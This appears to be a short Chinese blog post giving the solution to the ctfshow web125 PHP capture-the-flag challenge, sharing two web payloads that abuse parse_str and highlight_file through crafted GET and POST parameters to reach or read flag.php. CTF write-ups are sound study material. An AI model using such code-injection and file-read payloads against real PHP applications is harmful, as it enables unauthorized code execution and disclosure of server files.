PHP特性提高篇：对ctfshow web125的深入分析

今天做到ctfshow web125的时候遇到一些从未见过的内容，特地把学习内容分享出来。

最后的payload：

GET:?a=1+fl0g=flag_give_me

POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

还有针对这个题的过滤还可以：

GET:?1=flag.php

POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])

从yu师傅那里学到了一些姿势

https://blog.csdn.net/miuzzx/article/details/109181768#comments_13535967

相关函数也进行了查询。

补充了一些内容

复现的时候记得把php.ini的相关函数开启。